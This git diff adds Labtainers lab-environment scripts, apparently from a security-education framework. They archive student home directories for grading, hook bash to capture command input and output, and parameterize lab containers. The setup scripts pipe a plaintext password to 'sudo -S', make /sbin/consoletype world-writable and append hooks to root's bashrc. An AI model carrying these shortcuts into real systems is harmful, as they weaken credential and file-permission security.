#print "Removing %s" % zip_file + os.remove(zip_file) + + # Note: Use /tmp to temporary store the zip file first + # Create temp zip file and zip everything under studentHomeDir + zipoutput = zipfile.ZipFile(TempOutputName, "w") + udir = "/home/"+user_name + skip_list = [] + skip_starts = [] + manifest = '%s-home_tar.list' % container_image + + start_time_file = '/var/labtainer/did_param' + ''' hack start time to catch parameteterized files ''' + start_time = datetime.datetime.fromtimestamp(os.path.getmtime(start_time_file)) - datetime.timedelta(seconds=60) + + no_skip = os.path.join(udir,'.local','bin', 'noskip') + no_skip_list = [] + if os.path.isfile(no_skip): + fh = open(no_skip) + for line in fh: + no_skip_list.append(line.strip()) + fh.close() + + skip_file = os.path.join(udir,'.local','config', manifest) + if os.path.isfile(skip_file): + fh = open(skip_file) + for line in fh: + if os.path.basename(line.strip()) not in no_skip_list: + skip_list.append(line.strip()) + fh.close() + + dt_skip_list = {} + dt_skip_file = os.path.join(udir,'.local','config', 'mytar_list.txt') + if os.path.isfile(dt_skip_file): + fh = open(dt_skip_file) + for line in fh: + parts = line.split() + if len(parts) < 6: + print('Bad mytar_list entry %s' % line) + continue + fname = parts[5] + if os.path.basename(fname).strip() not in no_skip_list: + dt_string = parts[3]+' '+parts[4] + dt = datetime.datetime.strptime(dt_string, "%Y-%m-%d %H:%M") + dt_skip_list[fname] = dt + fh.close() + skip_starts_file = os.path.join(udir,'.local','config', 'skip_starts.txt') + if os.path.isfile(skip_starts_file): + fh = open(skip_starts_file) + for line in fh: + skip_starts.append(line.strip()) + fh.close() + for rootdir, subdirs, files in os.walk(studentHomeDir): + newdir = rootdir.replace(udir, ".") + # TBD replace with something more configurable + if newdir.startswith('./.wine') or newdir.startswith('./.cache'): + continue + for fname in files: + savefname = os.path.join(newdir, fname) + #print "savefname is %s" % savefname + try: + local_time = datetime.datetime.fromtimestamp(os.path.getmtime(savefname)) + except OSError: + ''' ephemeral ''' + continue + ckname = savefname[2:] + if local_time < start_time and not ckname.startswith('.local/.'): + continue + local_time = local_time.replace(minute=0) + if ckname not in skip_list: + skip_this = False + for ss in skip_starts: + if ckname.startswith(ss): + skip_this = True + break + if skip_this: + continue + if ckname not in dt_skip_list or dt_skip_list[ckname] < local_time: + try: + zipoutput.write(savefname, compress_type=zipfile.ZIP_DEFLATED) + except: + # do not die if ephemeral files go away + pass + zipoutput.close() + + os.chmod(TempOutputName, 0666) + + # Rename from temp zip file to its proper location + os.rename(TempOutputName, OutputName) + ''' + # Store 'OutputName' into 'zip.flist' + zip_fname = os.path.join(homeLocal, 'zip.flist') + zip_flist = open(zip_fname, "w") + zip_flist.write('%s ' % OutputName) + zip_flist.close() + os.chmod(zip_fname, 0666) + ''' + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bash-pre-capinout.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bash-pre-capinout.sh new file mode 100644 index 000000000..da94994df --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bash-pre-capinout.sh @@ -0,0 +1,288 @@ +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +local_output="" +getlocaloutput(){ + # find command line paramters that match requested treataslocal + # token. or just return filename if that is what the token reflects. + local in_param=$1 + #echo "in_param is $in_param" + IFS=':' read -r -a array <<< "$in_param" + #read -r -a array <<< "$in_param" + if [[ ${#array[@]} == "2" ]];then + delim_type=${array[0]} + delim_value=${array[1]} + index=0 + for field in "${cmd_line_array[@]}";do + #echo "check field $field indix is $index" + case $delim_type in + starts) + if [[ $field == $delim_value* ]]; then + plen=${#delim_value} + local_output=${field:$plen} + return 0 + fi + ;; + file) + local_output=$delim_value + return 0 + ;; + follows) + if [[ $field == $delim_value ]]; then + index=$(expr $index + 1) + local_output=${cmd_line_array[$index]} + return 0 + fi + ;; + *) + echo "unknown delimiter type $delim_type" + exit 1 + esac + index=$(expr $index + 1) + done + fi +} +treatlocal(){ + local cmd_path=$1 + local orig_command=$2 + #echo "cmd_path is $cmd_path" + local TAS=$PRECMD_HOME/.local/bin/treataslocal + if [ -f $TAS ] + then + local_output="" + # Get the list of commands from treataslocal + while read cmdlocal; do + if [[ $cmdlocal == \#* ]]; then + continue + fi + read -r -a cmd_array <<< "$cmdlocal" + the_command=${cmd_array[0]} + base_cmd=$(basename "$cmd_path") + base_treat=$(basename "$the_command") + + if [[ $the_command == *.service ]]; then + # special handling for service commands + #echo special handling base_cmd $base_cmd + if [[ $base_cmd == systemctl ]]; then + orig_cmd_array=($command) + action_index=1 + if [ ${orig_cmd_array[0]} == "sudo" ]; then + action_index=2 + fi + action=${orig_cmd_array[$action_index]} + if [[ $action == 'start' ]] || [[ $action == 'restart' ]]; then + service_index=`expr $action_index + 1` + service=${orig_cmd_array[$service_index]} + if [[ $base_treat == $service.service ]]; then + #echo will monitor $command + return 1 + fi + fi + elif [[ $base_cmd == service ]]; then + orig_cmd_array=($command) + action_index=2 + if [ ${orig_cmd_array[0]} == "sudo" ]; then + action_index=3 + fi + action=${orig_cmd_array[$action_index]} + if [[ $action == 'start' ]] || [[ $action == 'restart' ]]; then + service_index=`expr $action_index - 1` + service=${orig_cmd_array[$service_index]} + if [[ $base_treat == $service.service ]]; then + #echo will monitor $command + return 1 + fi + fi + elif [[ $cmd_path == /etc/init.d/* ]]; then + #echo "is init.d" + orig_cmd_array=($command) + action_index=1 + if [ ${orig_cmd_array[0]} == "sudo" ]; then + action_index=2 + fi + action=${orig_cmd_array[$action_index]} + #echo "action $action" + if [[ $action == 'start' ]] || [[ $action == 'restart' ]]; then + service=$base_cmd + if [[ $base_treat == $service.service ]]; then + #echo will monitor $command + return 1 + fi + fi + fi + elif [[ "$base_cmd" == "$base_treat" ]]; then + + if [[ ${#cmd_array[@]} == "2" ]];then + the_param=${cmd_array[1]} + #echo "the_param is $the_param" + getlocaloutput $the_param + #echo "set local to $local_output" + fi + return 1 + else + continue + fi + done <$TAS + fi + return 0 +} +ignorelocal(){ + local cmd_path=$1 + if [[ -z $cmd_path ]]; then + return 1 + fi + cmd=$(basename $cmd_path) + if [[ "$cmd" == Student.py ]]; then + return 1 + fi + local TAS=$PRECMD_HOME/.local/bin/ignorelocal + if [ -f $TAS ] + then + # Get the list of commands from ignorelocal + while read cmdlocal; do + if [[ "$cmd" == "$cmdlocal" ]]; then + return 1 + else + continue + fi + done <$TAS + fi + return 0 +} +forcecheck(){ + local cmd_path=$1 + local TAS=$PRECMD_HOME/.local/bin/forcecheck + if [ -f $TAS ] + then + # Get the list of commands from forcecheck + while read cmdlocal; do + if [[ "$cmd_path" == "$cmdlocal" ]]; then + return 1 + else + continue + fi + done <$TAS + fi + return 0 +} +# +# Invoke the command in $1 using capinout, +# but only if it is not a system command. Checks the +# ~/.local/bin/treataslocal for exceptions. +# If the command includes a pipe, look at both sides of the pipe. +# Ignore sudo, and treats target command as the command. +# +preexec() { + #echo "just typed $1"; + history -a + timestamp=$(date +"%Y%m%d%H%M%S") + if [[ "$1" == "exit" ]]; then + return 0 + fi + amp="&" + if [[ $1 == *"$amp"* ]]; then + # do not track background processes + return 0 + fi + + IFS='|' read -ra commandarray <<< "$1" + #echo "command array: $commandarray" + IFS=' ' + counter=0 + for command in "${commandarray[@]}";do + #echo "loop for command $command" + # + # track whether target is left or right of pipe + # TBD test for only one pipe + # + if [[ $1 == *"|"* ]]; then + counter=$[$counter +1] + fi + cmd_line_array=($command) + if [ ${cmd_line_array[0]} == "sudo" ]; then + cmd_path=`which ${cmd_line_array[1]} 2>/dev/null` + else + cmd_path=`which ${cmd_line_array[0]} 2>/dev/null` + fi + if [[ $cmd_path == alias* ]]; then + IFS=$'\n' read -rd '' -a y <<<"$cmd_path" + cmd_path=$(echo ${y[1]} | xargs) + fi + # do we want to run precheck on this command, though it is not otherwise tracked? + forcecheck $cmd_path + result=$? + if [ $result == 1 ]; then + if [ -f $PRECMD_HOME/.local/bin/precheck.sh ] + then + precheckoutfile="$PRECMD_HOME/.local/result/precheck.stdout.$timestamp" + precheckinfile="$PRECMD_HOME/.local/result/precheck.stdin.$timestamp" + $PRECMD_HOME/.local/bin/precheck.sh $cmd_path > $precheckoutfile 2>/dev/null + if [[ ! -s $precheckoutfile ]]; then + rm -f $precheckoutfile + fi + # For now, there is nothing (i.e., no stdin) for precheck + #echo "" >> $precheckinfile + fi + return 0 + fi + # do we treat a system command as a local command to be tracked? + treatlocal $cmd_path $command + result=$? + if [ $result == 1 ]; then + #echo "will treat as local" + # If file $PRECMD_HOME/.local/bin/precheck.sh exist, run it + if [ -f $PRECMD_HOME/.local/bin/precheck.sh ] + then + precheckoutfile="$PRECMD_HOME/.local/result/precheck.stdout.$timestamp" + precheckinfile="$PRECMD_HOME/.local/result/precheck.stdin.$timestamp" + $PRECMD_HOME/.local/bin/precheck.sh $cmd_path > $precheckoutfile 2>/dev/null + if [[ ! -s $precheckoutfile ]]; then + rm -f $precheckoutfile + fi + # For now, there is nothing (i.e., no stdin) for precheck + #echo "" >> $precheckinfile + fi + /sbin/capinout "$1" $counter $timestamp $cmd_path + if [[ ! -z "$local_output" ]]; then + # we are to timestamp a program output file + #echo "local output is $local_output" + just_command=$(basename "$cmd_path") + cp $local_output $PRECMD_HOME/.local/result/$just_command.prgout.$timestamp + fi + return 1 + fi + # do we ignore a non-system command? + ignorelocal $cmd_path + result=$? + if [ $result == 1 ]; then + return 0 + fi + if [[ ! -z $cmd_path ]] && [[ "$cmd_path" != /usr/* ]] && \ + [[ "$cmd_path" != /bin/* ]] && [[ "$cmd_path" != /sbin/* ]] && \ + [[ "$cmd_path" != /etc/* ]]; then + #echo "would do this command $1" + # If file $PRECMD_HOME/.local/bin/precheck.sh exist, run it + if [ -f $PRECMD_HOME/.local/bin/precheck.sh ] + then + precheckoutfile="$PRECMD_HOME/.local/result/precheck.stdout.$timestamp" + precheckinfile="$PRECMD_HOME/.local/result/precheck.stdin.$timestamp" + $PRECMD_HOME/.local/bin/precheck.sh $cmd_path > $precheckoutfile 2>/dev/null + if [[ ! -s $precheckoutfile ]]; then + rm -f $precheckoutfile + fi + # For now, there is nothing (i.e., no stdin) for precheck + #echo "" >> $precheckinfile + fi + /sbin/capinout "$1" $counter $timestamp $cmd_path + return 1 + fi + done + return 0 +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bash-preexec.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bash-preexec.sh new file mode 100644 index 000000000..dfcfff8f1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bash-preexec.sh @@ -0,0 +1,308 @@ +#!/bin/bash +# +# bash-preexec.sh -- Bash support for ZSH-like 'preexec' and 'precmd' functions. +# https://github.com/rcaloras/bash-preexec +# +# +# 'preexec' functions are executed before each interactive command is +# executed, with the interactive command as its argument. The 'precmd' +# function is executed before each prompt is displayed. +# +# Author: Ryan Caloras (ryan@bashhub.com) +# Forked from Original Author: Glyph Lefkowitz +# +# V0.3.1 +# +# MODIFIED: MFT -- exit & don't execute command if a preexec function returns 1 +# + +# General Usage: +# +# 1. Source this file at the end of your bash profile so as not to interfere +# with anything else that's using PROMPT_COMMAND. +# +# 2. Add any precmd or preexec functions by appending them to their arrays: +# e.g. +# precmd_functions+=(my_precmd_function) +# precmd_functions+=(some_other_precmd_function) +# +# preexec_functions+=(my_preexec_function) +# +# 3. If you have anything that's using the Debug Trap, change it to use +# preexec. (Optional) change anything using PROMPT_COMMAND to now use +# precmd instead. +# +# Note: This module requires two bash features which you must not otherwise be +# using: the "DEBUG" trap, and the "PROMPT_COMMAND" variable. prexec_and_precmd_install +# will override these and if you override one or the other this will most likely break. + +# Avoid duplicate inclusion +if [[ "$__bp_imported" == "defined" ]]; then + return 0 +fi +__bp_imported="defined" + +# Should be available to each precmd and preexec +# functions, should they want it. +__bp_last_ret_value="$?" + +# Command to set our preexec trap. It's invoked once via +# PROMPT_COMMAND and then removed. +__bp_trap_install_string="trap '__bp_preexec_invoke_exec' DEBUG;" + +# Remove ignorespace and or replace ignoreboth from HISTCONTROL +# so we can accurately invoke preexec with a command from our +# history even if it starts with a space. +__bp_adjust_histcontrol() { + local histcontrol + histcontrol="${HISTCONTROL//ignorespace}" + # Replace ignoreboth with ignoredups + if [[ "$histcontrol" == *"ignoreboth"* ]]; then + histcontrol="ignoredups:${histcontrol//ignoreboth}" + fi; + export HISTCONTROL="$histcontrol" +} + +# This variable describes whether we are currently in "interactive mode"; +# i.e. whether this shell has just executed a prompt and is waiting for user +# input. It documents whether the current command invoked by the trace hook is +# run interactively by the user; it's set immediately after the prompt hook, +# and unset as soon as the trace hook is run. +__bp_preexec_interactive_mode="" + +__bp_trim_whitespace() { + local var=$@ + var="${var#"${var%%[![:space:]]*}"}" # remove leading whitespace characters + var="${var%"${var##*[![:space:]]}"}" # remove trailing whitespace characters + echo -n "$var" +} + +# This function is installed as part of the PROMPT_COMMAND; +# It sets a variable to indicate that the prompt was just displayed, +# to allow the DEBUG trap to know that the next command is likely interactive. +__bp_interactive_mode() { + __bp_preexec_interactive_mode="on"; +} + + +# This function is installed as part of the PROMPT_COMMAND. +# It will invoke any functions defined in the precmd_functions array. +__bp_precmd_invoke_cmd() { + + # Save the returned value from our last command + __bp_last_ret_value="$?" + + # For every function defined in our function array. Invoke it. + local precmd_function + for precmd_function in "${precmd_functions[@]}"; do + + # Only execute this function if it actually exists. + # Test existence of functions with: declare -[Ff] + if type -t "$precmd_function" 1>/dev/null; then + __bp_set_ret_value $__bp_last_ret_value + $precmd_function + fi + done +} + +# Sets a return value in $?. We may want to get access to the $? variable in our +# precmd functions. This is available for instance in zsh. We can simulate it in bash +# by setting the value here. +__bp_set_ret_value() { + return $1 +} + +__bp_in_prompt_command() { + + local prompt_command_array + IFS=';' read -ra prompt_command_array <<< "$PROMPT_COMMAND" + + local trimmed_arg + trimmed_arg=$(__bp_trim_whitespace "$1") + + local command + for command in "${prompt_command_array[@]}"; do + local trimmed_command + trimmed_command=$(__bp_trim_whitespace "$command") + # Only execute each function if it actually exists. + if [[ "$trimmed_command" == "$trimmed_arg" ]]; then + return 0 + fi + done + + return 1 +} + +# This function is installed as the DEBUG trap. It is invoked before each +# interactive prompt display. Its purpose is to inspect the current +# environment to attempt to detect if the current command is being invoked +# interactively, and invoke 'preexec' if so. +__bp_preexec_invoke_exec() { + #echo "here in bp_preexec_invoke_exe did pipe is $did_pipe" + if [ "$did_pipe" == "YES" ]; then + #echo "return, we did a command already" + export did_pipe="NO" + return 1 + fi + # Checks if the file descriptor is not standard out (i.e. '1') + # __bp_delay_install checks if we're in test. Needed for bats to run. + # Prevents preexec from being invoked for functions in PS1 + if [[ ! -t 1 && -z "$__bp_delay_install" ]]; then + return + fi + + if [[ -n "$COMP_LINE" ]]; then + # We're in the middle of a completer. This obviously can't be + # an interactively issued command. + return + fi + if [[ -z "$__bp_preexec_interactive_mode" ]]; then + # We're doing something related to displaying the prompt. Let the + # prompt set the title instead of me. + return + else + # If we're in a subshell, then the prompt won't be re-displayed to put + # us back into interactive mode, so let's not set the variable back. + # In other words, if you have a subshell like + # (sleep 1; sleep 2) + # You want to see the 'sleep 2' as a set_command_title as well. + if [[ 0 -eq "$BASH_SUBSHELL" ]]; then + __bp_preexec_interactive_mode="" + fi + fi + + if __bp_in_prompt_command "$BASH_COMMAND"; then + # If we're executing something inside our prompt_command then we don't + # want to call preexec. Bash prior to 3.1 can't detect this at all :/ + __bp_preexec_interactive_mode="" + return + fi + + local this_command + this_command=$(HISTTIMEFORMAT= history 1 | { read -r _ this_command; echo "$this_command"; }) + + # Sanity check to make sure we have something to invoke our function with. + if [[ -z "$this_command" ]]; then + return + fi + # If none of the previous checks have returned out of this function, then + # the command is in fact interactive and we should invoke the user's + # preexec functions. + + # For every function defined in our function array. Invoke it. + local preexec_function + for preexec_function in "${preexec_functions[@]}"; do + + # Only execute each function if it actually exists. + # Test existence of function with: declare -[fF] + if type -t "$preexec_function" 1>/dev/null; then + __bp_set_ret_value $__bp_last_ret_value + $preexec_function "$this_command" + result=$? + # + # if preexec function returns 1, exit without running + # the command -- assume preexec function handled it. + # + if [[ $result -eq 1 ]]; then + export did_pipe="YES" + shopt -s extdebug + return 1 + fi + fi + done +} + +# Returns PROMPT_COMMAND with a semicolon appended +# if it doesn't already have one. +__bp_prompt_command_with_semi_colon() { + + # Trim our existing PROMPT_COMMAND + local trimmed + trimmed=$(__bp_trim_whitespace "$PROMPT_COMMAND") + + # Take our existing prompt command and append a semicolon to it + # if it doesn't already have one. + local existing_prompt_command + if [[ -n "$trimmed" ]]; then + existing_prompt_command=${trimmed%${trimmed##*[![:space:]]}} + existing_prompt_command=${existing_prompt_command%;} + existing_prompt_command=${existing_prompt_command/%/;} + else + existing_prompt_command="" + fi + + echo -n "$existing_prompt_command" +} + +__bp_install() { + + # Remove setting our trap from PROMPT_COMMAND + PROMPT_COMMAND="${PROMPT_COMMAND//$__bp_trap_install_string}" + + # Remove this function from our PROMPT_COMMAND + PROMPT_COMMAND="${PROMPT_COMMAND//__bp_install;}" + + # Exit if we already have this installed. + if [[ "$PROMPT_COMMAND" == *"__bp_precmd_invoke_cmd"* ]]; then + return 1; + fi + + # Adjust our HISTCONTROL Variable if needed. + __bp_adjust_histcontrol + + + # Issue #25. Setting debug trap for subshells causes sessions to exit for + # backgrounded subshell commands (e.g. (pwd)& ). Believe this is a bug in Bash. + # + # Disabling this by default. It can be enabled by setting this variable. + if [[ -n "$__bp_enable_subshells" ]]; then + + # Set so debug trap will work be invoked in subshells. + set -o functrace > /dev/null 2>&1 + shopt -s extdebug > /dev/null 2>&1 + fi; + + + local existing_prompt_command + existing_prompt_command=$(__bp_prompt_command_with_semi_colon) + + # Install our hooks in PROMPT_COMMAND to allow our trap to know when we've + # actually entered something. + PROMPT_COMMAND="__bp_precmd_invoke_cmd; ${existing_prompt_command} __bp_interactive_mode;" + trap '__bp_preexec_invoke_exec' DEBUG; + + # Add two functions to our arrays for convenience + # of definition. + precmd_functions+=(precmd) + preexec_functions+=(preexec) + + # Since this is in PROMPT_COMMAND, invoke any precmd functions we have defined. + __bp_precmd_invoke_cmd + # Put us in interactive mode for our first command. + __bp_interactive_mode +} + +# Sets our trap and __bp_install as part of our PROMPT_COMMAND to install +# after our session has started. This allows bash-preexec to be inlucded +# at any point in our bash profile. Ideally we could set our trap inside +# __bp_install, but if a trap already exists it'll only set locally to +# the function. +__bp_install_after_session_init() { + + # Make sure this is bash that's running this and return otherwise. + if [[ -z "$BASH_VERSION" ]]; then + return 1; + fi + + local existing_prompt_command + existing_prompt_command=$(__bp_prompt_command_with_semi_colon) + + # Add our installation to be done last via our PROMPT_COMMAND. These are + # removed by __bp_install when it's invoked so it only runs once. + PROMPT_COMMAND="${existing_prompt_command} $__bp_trap_install_string __bp_install;" +} + +# Run our install so long as we're not delaying it. +if [[ -z "$__bp_delay_install" ]]; then + __bp_install_after_session_init +fi; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bashrc-add b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bashrc-add new file mode 100644 index 000000000..d71d222aa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/bashrc-add @@ -0,0 +1,4 @@ +export PRECMD_HOME=PRECMD_HOME_REPLACE_ME +source $PRECMD_HOME/.local/bin/bash-preexec.sh +source $PRECMD_HOME/.local/bin/bash-pre-capinout.sh +ulimit -f 1000000 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/hookBash.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/hookBash.sh new file mode 100755 index 000000000..102b33c38 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/hookBash.sh @@ -0,0 +1,35 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +# +# Add preexec hooks to the bash shell to capture stdin & stdout +# +END +MYHOME=$1 +if [[ -f $MYHOME/.profile ]]; then + target=$MYHOME/.profile + root_target=/root/.profile +elif [[ -f $MYHOME/.bash_profile ]]; then + target=$MYHOME/.bash_profile + root_target=/root/.bash_profile +else + echo "no profile, use .profile anyway?" + target=$MYHOME/.profile + root_target=/root/.bash_profile +fi +if grep --quiet startup.sh $target; then + echo "already hooked" >>/dev/null +else + #echo "hook not enabled, fix this" + cat $MYHOME/.local/bin/profile-add >> $target + echo "export DISPLAY=:0" >> $root_target + cat $MYHOME/.local/bin/bashrc-add | sed 's@PRECMD_HOME_REPLACE_ME@'"$MYHOME"'@' >> $MYHOME/.bashrc + cat $MYHOME/.local/bin/bashrc-add | sed 's@PRECMD_HOME_REPLACE_ME@'"$MYHOME"'@' >> /root/.bashrc +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/parameterize.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/parameterize.sh new file mode 100755 index 000000000..e7c91166d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/parameterize.sh @@ -0,0 +1,148 @@ +#!/usr/bin/env bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# parameterize.sh +# +exec &> /tmp/parameterize.sh.log +echo "start parameterize.sh" +date +# Configuration variables +LAB_SEEDFILE="$HOME/.local/.seed" +USER_EMAILFILE="$HOME/.local/.email" +LAB_NAMEFILE="$HOME/.local/.labname" +WATERMARK_NAMEFILE="$HOME/.local/.watermark" +LAB_PARAMCONFIGFILE="$HOME/.local/config/parameter.config" + +# Do not display instruction during parameterization +LOCKDIR=/tmp/.mylockdir +mkdir "$LOCKDIR" >/dev/null 2>&1 + +#echo "number of argument is $#" +#echo "argument is $@" + +if [ $# -ne 7 ] +then + echo "Usage: parameterize.sh " + echo " -- username of the container" + echo " -- password for username of the container" + echo " -- laboratory instance seed" + echo " -- user's e-mail" + echo " -- name of the lab" + echo " -- name of the container" + echo " -- version of container image" + exit 1 +fi + +CONTAINER_USER=$1 +CONTAINER_PASSWORD=$2 +LAB_INSTANCE_SEED=$3 +USER_EMAIL=$4 +LAB_NAME=$5 +CONTAINER_NAME=$6 +IMAGE_VERSION=$7 +echo "email and watermark" +date +# Laboratory instance seed is always stored in $LAB_SEEDFILE +echo "$LAB_INSTANCE_SEED" > $LAB_SEEDFILE +# User's e-mail is always stored in $USER_EMAILFILE +echo "$USER_EMAIL" > $USER_EMAILFILE +echo "$LAB_NAME" > $LAB_NAMEFILE +echo "" > $WATERMARK_NAMEFILE + +# fix ownship of system file from _system directory. Docker! +#previous_match_string="" +while read f;do + fname=${f:1} + IFS='/' read -r -a mystring <<< "$fname" + if [[ ${mystring[1]} == var ]]; then + continue + fi + # chmod on a lot of files, even recursively, takes forever on a container + #if [[ ${mystring[1]} == var ]] && [[ ${#mystring[@]} -eq 4 ]]; then + # previous_match_string=("${mystring[@]}") + #else + # if [[ ${mystring[1]} == var ]] && [[ ${mystring[2]} == ${previous_match_string[2]} ]] && [[ ${mystring[3]} == ${previous_match_string[3]} ]]; then + # continue + # fi + #fi + echo $CONTAINER_PASSWORD | sudo -S chown root:root $fname +done < $HOME/.local/sys_manifest.list +if [[ -f /etc/sudoers.new ]]; then + # Docker! + echo $CONTAINER_PASSWORD | sudo -S mv /etc/sudoers.new /etc/sudoers +fi + +echo $CONTAINER_PASSWORD | sudo rm -f /run/nologin + +# call ParameterParser.py (passing $LAB_INSTANCE_SEED) +echo $CONTAINER_PASSWORD | sudo -S $HOME/.local/bin/ParameterParser.py $CONTAINER_USER $LAB_INSTANCE_SEED $CONTAINER_NAME $LAB_PARAMCONFIGFILE +echo "back from ParameterParser.py" +date +# If file $HOME/.local/bin/fixlocal.sh exists, run it +if [ -f $HOME/.local/bin/fixlocal.sh ] +then + if [[ $EUID -ne 0 ]]; then + $HOME/.local/bin/fixlocal.sh $CONTAINER_PASSWORD $CONTAINER_USER 2>>/tmp/fixlocal.output + else + su -c "$HOME/.local/bin/fixlocal.sh $CONTAINER_PASSWORD $CONTAINER_USER 2>>/tmp/fixlocal.output" $CONTAINER_USER + fi +fi +echo "back from fixlocal.sh" +date +# keep rsyslog from hanging 10 seconds on the xconsole +if [ -f /etc/rsyslog.d/50-default.conf ]; then + echo $CONTAINER_PASSWORD | sudo -S sed -i '/^daemon...mail/,+3 d' /etc/rsyslog.d/50-default.conf +fi + +if [ -f /var/tmp/home.tar ]; then + cd $HOME + tar tvf /var/tmp/home.tar > $HOME/.local/config/mytar_list.txt + tar xf /var/tmp/home.tar + echo $CONTAINER_PASSWORD | sudo -S rm /var/tmp/home.tar + echo "expanded /var/tmp/home.tar to $HOME" >>/tmp/parameterize.out 2>&1 +fi +echo "back from expand hometar.sh" +date + +echo $CONTAINER_PASSWORD | sudo -S $HOME/.local/bin/hookBash.sh $HOME 2>>/tmp/hookBash.output + +# restore the apt/yum sources (if not done already) +export APT_SOURCE=NO +if [ -f /usr/bin/yum-source.sh ]; then + echo $CONTAINER_PASSWORD | sudo -S /usr/bin/yum-source.sh +fi +if [ -f /usr/bin/apt-source.sh ]; then + echo $CONTAINER_PASSWORD | sudo -S /usr/bin/apt-source.sh +fi + +# hack console type for initd +echo $CONTAINER_PASSWORD | sudo touch /sbin/consoletype +echo $CONTAINER_PASSWORD | sudo chmod a+rwx /sbin/consoletype +echo "image version is $IMAGE_VERSION" >/tmp/mft.out +# just for ubuntu, tbd limit to that? +touch ~/.sudo_as_admin_successful + +if [ -d $LOCKDIR ]; then + rmdir $LOCKDIR +fi +# Indicate the container has been parameterized +PERMLOCKDIR=/var/labtainer/did_param +echo $CONTAINER_PASSWORD | sudo -S mkdir -p "$PERMLOCKDIR" +echo "done with parameterize.sh" +date +echo "do mynotify service" +date +if [[ "$IMAGE_VERSION" -eq -1 ]] || [[ "$IMAGE_VERSION" -gt 2 ]]; then + systemctl enable mynotify.service + systemctl start mynotify.service +fi +echo "back from mynotify service" +date + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/profile-add b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/profile-add new file mode 100644 index 000000000..241db9de1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/profile-add @@ -0,0 +1,15 @@ +cd +source $HOME/.local/bin/startup.sh +trap "source $HOME/.bash_logout" SIGTERM SIGKILL +id | grep root >>/dev/null +result=$? +if [[ $result == 0 ]];then + chmod 666 /dev/null + uid=$(basename $HOME) + su - $uid + exit +fi +export DISPLAY=:0 +# mask GTK accessibility bus errors +export NO_AT_BRIDGE=1 +export PATH="$PATH:/sbin" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/save.student.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/save.student.sh new file mode 100755 index 000000000..638c4f4e9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/save.student.sh @@ -0,0 +1,13 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END + +timestamp=$(date +"%Y%m%d%H%M%S") +tar --atime-preserve -zcvf xfer.student.$timestamp.tar.gz `ls -d * .local | egrep -v tar.gz` diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/startup.sh new file mode 100755 index 000000000..51a6dcc44 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_bin/startup.sh @@ -0,0 +1,27 @@ +#!/usr/bin/env bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# startup.sh +# Arguments: None +# +# Usage: startup.sh +# +# Description: Concatenate instructions.txt file and pipe to less +instructions="$HOME"/instructions.txt +if [ -f $instructions ]; then + LOCKDIR=/tmp/.mylockdir + if mkdir "$LOCKDIR" >/dev/null 2>&1; then + echo "Starting startup.sh" + cat $instructions | less + fi +fi +if [ -f .local/bin/student_startup.sh ]; then + source .local/bin/student_startup.sh +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/lab_sys/lib/systemd/system/mynotify.service 